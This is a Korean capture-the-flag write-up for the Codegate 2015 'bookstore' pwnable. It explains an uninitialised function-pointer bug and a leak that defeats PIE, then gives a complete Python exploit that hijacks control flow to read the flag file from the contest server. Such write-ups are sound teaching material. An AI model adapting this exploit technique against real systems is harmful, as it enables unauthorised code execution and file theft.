>

Codegate 2015 bookstore

CTF 2015. 3. 17. 21:04

 □ description

==========================================

- Binary : http://binary.grayhash.com/7692931e710c1d805224c44ab97ddd52/bookstore

- Server : 54.65.210.251

- Port : TCP 31337

- Flag Path : /home/bookstore/key


-- add

server IP address changed

==========================================

Point : 400

Environment : Ubuntu 14.04 32bit

Memory Protection : ASLR, PIE, NX, Stack canary

바이너리에는 도서추가, 수정, 조회 기능이 있고 힙 대신 스택 공간을 더 할당해서 도서 구조체를 관리한다. 

 항목

크기

오프셋 

 no

 4

 0-4

 type

 4

 4-8

 bookname

 20

 8-28

 price

 4

 28-32

 stock

 4

 32-36

 function1

 4

 36-40

 shipping

 4

 40-44

 function2

 4

 44-48

 max download

 4

 48-52

 avaliable 4

 52-56

 description

 300 56-300

도서 구조체는 위와 같이 관리되고 있고 수정이나 추가 시 index를 전역변수를 두어서 항목을 관리한다.

항목 조회를 할 때 함수포인터를 이용하는데 만약 이 함수포인터에 해당하는 function1이나 function2 부분을 조작할 수 있으면 EIP 조종이 가능하다는 것을 알 수 있다.


도서 추가 함수를 보면 함수포인터들에 대한 값을 초기화 해주는 것을 볼 수 있다. type이 1이면 function2 에 해당하는 포인터를 초기화 하지 않는다. 하지만 type을 1로 설정하면 이후에 함수포인터 부분을 초기화한다고해도 freeshipping 변수가 1로 설정되있지 않기 때문에 조회 때 function2 함수를 호출시킬 수가 없다. 


freeshipping 변수를 수정하는 함수가 존재하기는 하지만 type이 1이기 때문에 수정을 하지 못한다. 그렇기 때문에 다른 방법을 이용해야한다.

도서 정보 전체를 바꾸는 함수를 살펴보면 freeshipping이 1이 아니면 function2에 대한 초기화를 하지 않는 것을 볼 수 있다.

 책이름 수정 함수를 보면 책이름이 20바이트밖에 안되는데도 500바이트나 받는 것을 볼 수 있다. 물론 20바이트만 복사하긴 하지만 이후에 memset 같은 과정을 거치지 않기 때문에 그대로 스택에 남을 것이다.

이러한 점들을 이용해서 EIP트리거링 시나리오를 세워보면

1. type 0으로 책 추가

2. 책이름 수정으로 변경할 EIP 값을 스택에 spray

3. 도서정보 전체수정 함수에 shipping을 0으로 설정하여 function2 항목이 스택에 spray 한 값이 되게 함

4. 도서조회 함수를 호출하여 변경한 function2 함수포인터 호출

이러면 EIP가 원하는 값으로 바뀐다.


허나 PIE가 걸려있기 때문에 Memory Leak으로 코드영역의 base 주소를 구하지 않는 한 원하는 함수를 호출하기가 좀 까다롭다.

도서 추가를 할 때에는 책이름을 19바이트를 복사하지만 수정할 때에는 20바이트를 복사한다. 그리고 도서가격과 재고를 2147483647 등의 4바이트로 설정하여 버퍼의 내용이 이어지게 만들 수 있다. 이러한 점으로 function1의 함수 주소를 Leak 할 수 있고 function1의 함수 주소를 이용해 코드영역 base를 계산할 수 있다.

위 사진 처럼 바이너리 내에는 인자로 받은 파일을 읽어서 출력하는 아주 기특하고 영특한 함수가 있다. function2 함수포인터가 호출될 때 인자는 책이름으로 들어가기 때문에 책 이름을 /home/bookstore/flag 로 설정하고 함수포인터 주소를 fileread 함수로 설정하면 flag를 얻을 수 있다.

#!/usr/bin/python


from socket import *

from struct import pack,unpack

import telnetlib

import time



p = lambda x:pack("<L",x)

up = lambda x:unpack("<L",x)[0]


#host = "localhost"

host = "54.65.210.251"

port = 31337


t = telnetlib.Telnet(host,port)



def recv_until(s,c):

data = ""

while c not in data:

data += s.recv(1)

return data


def addbook(s,name,description,_type):

s.send("1\n")

time.sleep(0.3)

recv_until(s,"Bookname : ")

s.send(name)

time.sleep(0.3)

recv_until(s,"Description : ")

s.send(description)

time.sleep(0.3)

recv_until(s,"Type (0 : Book, 1 : EBook)")

s.send(str(_type)+"\n")

if _type == 1:

time.sleep(0.3)

recv_until(s,"Download : ")

s.send("123\n")

time.sleep(0.3)

recv_until(s,"> ")

print "added"


def modify(s,no):

s.send("2\n")

time.sleep(0.3)

recv_until(s,"No : ")

s.send(str(no)+"\n")

time.sleep(0.3)

return recv_until(s,"main menu!")


def modify_quit(s):

s.send("0\n")

time.sleep(0.3)

recv_until(s,"> ")


def modify_bookname(s,name):

s.send("1\n")

time.sleep(0.3)

recv_until(s,"bookname")

s.send(name)

time.sleep(0.3)

recv_until(s,"main menu!")


def modify_description(s,description):

s.send("2\n")

time.sleep(0.3)

recv_until(s,"description")

s.send(description)

time.sleep(0.3)

recv_until(s,"main menu!")


def modify_information(s,name,description,stock,price,ship,download,avaliable):

s.send("3\n")

time.sleep(0.3)

recv_until(s,"Stock : ")

s.send(str(stock)+"\n")

time.sleep(0.3)

recv_until(s,"Price : ")

s.send(str(price)+"\n")

time.sleep(0.3)

recv_until(s,"0 : not) ")

s.send(str(ship)+"\n")

time.sleep(0.3)

d = s.recv(128)

if d.find("download :") > 0:

s.send(str(download)+"\n")

time.sleep(0.3)

s.recv(128)

s.send(str(avaliable)+"\n")

time.sleep(0.3)

recv_until(s,"bookname")

s.send(name)

time.sleep(0.3)

recv_until(s,"description")

s.send(description)

time.sleep(0.3)

recv_until(s,"main menu!")

print "modified"

def modify_ship(s,ship):

s.send("4\n")

recv_until(s,"shipping)")

s.send(str(ship)+"\n")

recv_until(s,"main menu!")

print "modified"


def view(s,no):

s.send("3\n")

time.sleep(0.3)

recv_until(s,"No : ")

s.send(str(no)+"\n")

return recv_until(s,"> ")

def showlist(s):

s.send("4\n")

time.sleep(0.3)

return recv_until(s,"> ")


s = create_connection((host,port))

t.sock = s

recv_until(s,"ID : ")

s.send("helloadmin")

recv_until(s,"PASSWORD : ")

s.send("iulover!@#$")


recv_until(s,"> ")

addbook(s,"a","b",0)

modify(s,0)

modify_information(s,"a"*20,"b"*300,2147483647,2147483647,0,31337,0)

modify_quit(s)

data = showlist(s)

codebase = up(data[143:147]) - 0x9ad

fileread_function = codebase + 0x8db


modify(s,0)

modify_bookname(s,p(fileread_function)*125)

modify_information(s,"/home/bookstore/key","description",5555,6666,0,3133,0)

modify_ship(s,1)

modify_quit(s)

print view(s,0)

t.interact()

분석 내용을 토대로 작성한 Exploit 코드이다.

flag가 잘 읽혀서 출력된다. 

'CTF' 카테고리의 다른 글

[hitcon2015] blinkroot  (0) 2015.10.20
[Layer7 2015] Reverse Me, Easy Rerversing  (0) 2015.09.01
christmas CTF Rudolph  (0) 2015.02.20
Codegate 2014 minibomb write-up  (5) 2014.03.09
Codegate 2014 angrydoraemon write-up  (0) 2014.03.09
Posted by Mungsul
,